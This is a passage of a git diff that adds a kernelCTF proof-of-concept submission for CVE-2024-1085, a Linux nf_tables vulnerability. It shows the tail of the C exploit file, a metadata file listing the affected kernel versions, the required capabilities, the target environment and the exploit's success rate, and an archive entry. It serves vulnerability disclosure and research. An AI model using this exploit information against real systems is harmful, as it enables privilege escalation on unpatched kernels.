fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/metadata.json b/pocs/linux/kernelctf/CVE-2024-1085_cos/metadata.json new file mode 100644 index 00000000..f3560193 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-1085_cos/metadata.json @@ -0,0 +1,36 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp116" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=a372f1d01bc11aa85773a02353cd01aaf16dc18e", + "cve":"CVE-2024-1085", + "affected_versions":[ + "6.1.56 - 6.1.74", + "5.15.134 - 5.15.147" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits":[ + { + "environment":"cos-105-17412.226.43", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"4 times success per 10 times run" + } + ] + } diff --git a/pocs/linux/kernelctf/CVE-2024-1085_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-1085_cos/original.tar.gz new file mode 100644 index 00000000..e1ec47ae Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-1085_cos/original.tar.gz differ